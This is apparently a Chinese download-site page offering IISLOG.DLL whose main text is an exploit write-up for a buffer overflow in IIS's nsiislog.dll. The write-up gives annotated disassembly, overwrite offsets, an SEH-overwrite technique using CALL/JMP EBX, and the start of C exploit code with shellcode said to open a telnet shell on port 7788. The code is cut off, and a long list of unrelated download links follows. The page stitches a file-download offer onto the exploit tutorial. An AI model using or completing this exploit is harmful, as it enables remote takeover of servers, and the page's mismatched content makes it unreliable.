搞服務器的朋友出現的一個問題,就是IISLOG.DLL缺失了,導致配置不正確。。小編也是複製了一個分享給了他,現在也分享給大家。
IISLOG.DLL,IIS日誌需要的動態鏈接庫文件,存儲位置:c:\windows\system32\inetsrv文件夾。
溢出漏洞原因分析:
導致溢出的代碼就在NSIISLOG.DLL中,如下
.text:40F01B08 mov ecx, esi
.text:40F01B0A call dword ptr [eax+8]
.text:40F01B0D push eax <----------------計算的POST數據長度
.text:40F01B0E mov ecx, ebx
.text:40F01B10 push [ebp+arg_4] <----------------POST數據的BUFFER
.text:40F01B13 call sub_40F01EEE
#########################################################################################################
sub_40F01EEE函數內容:
.text:40F01EEE push ebp
.text:40F01EEF mov ebp, esp
.text:40F01EF1 mov eax, 1104h
.text:40F01EF6 call sub_40F02B80 〈-----------------分配緩衝區,按含ESP-0X1104的調用
.text:40F01EFB push ebx
.text:40F01EFC push esi
.text:40F01EFD mov ebx, [ebp+arg_4]
.text:40F01F00 push edi 〈-------------------導致溢出的參數,本來應該是被溢出的緩衝區的長度
.text:40F01F01 mov edi, [ebp+arg_8] 這裏卻傳成了POST數據的長度
.text:40F01F04 or ecx, 0FFFFFFFFh
.text:40F01F07 xor eax, eax
.text:40F01F09 push ebx
.text:40F01F0A repne scasb
.text:40F01F0C push [ebp+arg_0] 〈----------------------我們POST的數據
.text:40F01F0F lea eax, [ebp+var_1104]
.text:40F01F15 not ecx
.text:40F01F17 dec ecx
.text:40F01F18 push eax 〈------------------------被溢出的緩衝區
.text:40F01F19 mov [ebp+var_4], ecx
.text:40F01F1C call ds:strncpy 〈-----------------------導致溢出的調用
##############################################################################################################
溢出原因:
strncpy這個調用本來是安全函數調用的,原形是:
strncpy(BUF1,BUF2,BUF1MAXLEN)
但是在這個調用中,調用者誤使這個函數的調用成如下方式了:
strncpy(BUF1,BUF2,BUF2MAXLEN),這樣第三個參數本來應該是BUF1MAXLEN來限製可能導致溢出的調用就成了無用的擺設。
我們可以計算出返回地址的覆蓋點是:
0X1104+4(EBP占用的地址)=0x1108,那麼需要0X110C個字節,注意POST的數據在覆蓋中不能存在0x0,否則strncpy會自動用0添滿後麵的數據。
溢出攻擊實現:
但是在函數返回以前我們發現會引發函數的異常(主要是後麵的strspn調用中),那麼我們就得想法覆蓋異常結構。(當然如果你可以精巧設計你自己覆蓋的內容不導致異常也是可以的,不過這樣太麻煩了),nsiislog.dll自己並沒有異常處理程序,那麼需要我們覆蓋默認的異常結構處理地址,我們可以通過累加所有調用堆棧的大小計算得出此地址距離我們溢出緩衝區的距離是0X2708。
另外需要考慮的問題就是在觸發異常之前,如果應用程序對我們的SHELLCODE進行了操作則會導致一些問題,那麼我們最好使得在STRNCPY中就出發緩衝。(這個溢出中,會轉換EBP之前的一些數據的大小寫,也會截斷添加一條消息。當然我們也可以精巧設置SHELLCODE的位置,不過返回地址不是很好設置)。
那麼我們需要比0X270C更長的地址導致地址訪問違反例,這個長度是和當前緩衝大小相關的(到下一個地址段,如0X8CXXXX-〉0X8D0000就會引發異常):
考慮這個問題,我們的緩衝放置0x10000以上長度的數據(當然一般25000左右就基本能導致在STRNCPY裏的異常了),就能絕對保證在strncpy中引發異常了。
下麵我們就要尋找一個CALL EBX或JMP EBX的地址了(因為是覆蓋異常結構),這個地址其實在NSIISLOG.DLL中就有很多,這樣就能避免很多版本要求的問題。
這裏再給大家分析一下為什麼溢出異常結構之後要找CALL(JMP)EBX的原理
首先異常結構鏈結構如下
DWORD PNEXT 下一個異常結構地址指針
DWORD FUNADDR 當前處理函數入口地址
在KiUserExceptionDispatcher中的處理是如下方式的:
77f8e4ca ff7304 push dword ptr [ebx+0x4] ds:0023:008cf764=40f0135c <-------------EBX+4就是當前異常處理函數調用地址,EBX就是異常結構地址,由於可能要處理下一個異常鏈,所以EBX就保存了下來未做修改,這樣在我們覆蓋了EBX+4的異常處理函數調用地址後找到CALL(JMP)EBX就可以到達我們可以控製的一個內存區域。
77f8e4cd 8d45f0 lea eax,[ebp-0x10]
77f8e4d0 50 push eax
77f8e4d1 ff750c push dword ptr [ebp+0xc]
77f8e4d4 53 push ebx
77f8e4d5 56 push esi
77f8e4d6 e83affffff call ntdll!RtlSetBits+0x305 (77f8e415)
###############################################################################
77f8e42f ff7514 push dword ptr [ebp+0x14]
77f8e432 ff7510 push dword ptr [ebp+0x10]
77f8e435 ff750c push dword ptr [ebp+0xc]
77f8e438 ff7508 push dword ptr [ebp+0x8]
77f8e43b 8b4d18 mov ecx,[ebp+0x18] <-------------這裏就是溢出的異常結構地址
77f8e43e ffd1 call ecx {nsiislog+0x135c (40f0135c)}
###############################################################################
這裏需要注意的是:找到的返回地址是在[ebx+4]上,而調用CALL EBX也要把這個地址內存的內容當指令執行,所以EBX(異常結構前)的地址的內容應該是跳過
EBX+4(被覆蓋的異常結構地址)的,下麵就是一個EXP代碼,使用了ISNO的SHELLCODE(我拿到的這個SHELLCODE有點小毛病,使得隻能連上無法執行指令,已修改),執行以後TELNET IP 7788
###############################################################################
#include
#include
#include
#include
#include
char *hostName = NULL;
unsigned char shellcode[]=
"\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"
"\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
&
70KB/03-27
係統其他
下載21.5M/02-01
遊戲補丁
下載231KB/09-26
係統優化
下載76.4M / 03-25
立即下載55M / 06-05
立即下載237.9M / 04-13
立即下載140.5M / 03-06
立即下載900.9M / 03-02
立即下載96.2M / 07-06
立即下載311.2M / 07-06
立即下載335M / 07-06
立即下載200M / 07-06
立即下載413.8M / 07-06
立即下載353.9M / 06-05
立即下載131.8M / 04-13
立即下載230.8M / 03-03
立即下載195.6M / 03-03
立即下載165.4M / 03-03
立即下載45.6M / 09-08
立即下載665.2M / 07-06
立即下載2.84G / 07-06
立即下載93M / 07-06
立即下載338.3M / 07-06
立即下載1.38G / 07-26
立即下載488.3M / 07-16
立即下載109.8M / 06-03
立即下載142M / 01-08
立即下載1.2M / 11-23
立即下載548.8M / 04-13
立即下載1.6M / 04-13
立即下載1.48G / 03-18
立即下載646.6M / 03-03
立即下載133.7M / 03-03
立即下載325.8M / 06-07
立即下載60M / 04-29
立即下載254M / 04-25
立即下載659M / 04-23
立即下載1M / 12-26
立即下載253.4M / 12-08
立即下載253M / 12-08
立即下載1.19G / 11-16
立即下載110.5M / 04-23
立即下載26.7M / 03-16
立即下載488.3M / 07-16
立即下載248.9M / 12-08
立即下載248.9M / 12-08
立即下載201.2M / 04-13
立即下載100.6M / 03-06
立即下載148.9M / 03-06
立即下載1.12G / 07-06
立即下載1.25G / 07-06
立即下載9.48G / 07-06
立即下載50KB / 07-06
立即下載116.2M / 04-10
立即下載1.92G / 04-17
立即下載201.5M / 04-13
立即下載7.31G / 07-01
立即下載94.3M / 07-06
立即下載2.48G / 07-06
立即下載7.63G / 07-06
立即下載1M / 07-06
立即下載778.1M / 07-06
立即下載509.7M / 07-06
立即下載561.8M / 07-11
立即下載1.32G / 01-19
立即下載72M / 07-06
立即下載548.7M / 07-06
立即下載1.00G / 07-06
立即下載9.13G / 07-06
立即下載126.2M / 07-06
立即下載72M / 07-06
立即下載105.1M / 07-06
立即下載132M / 07-06
立即下載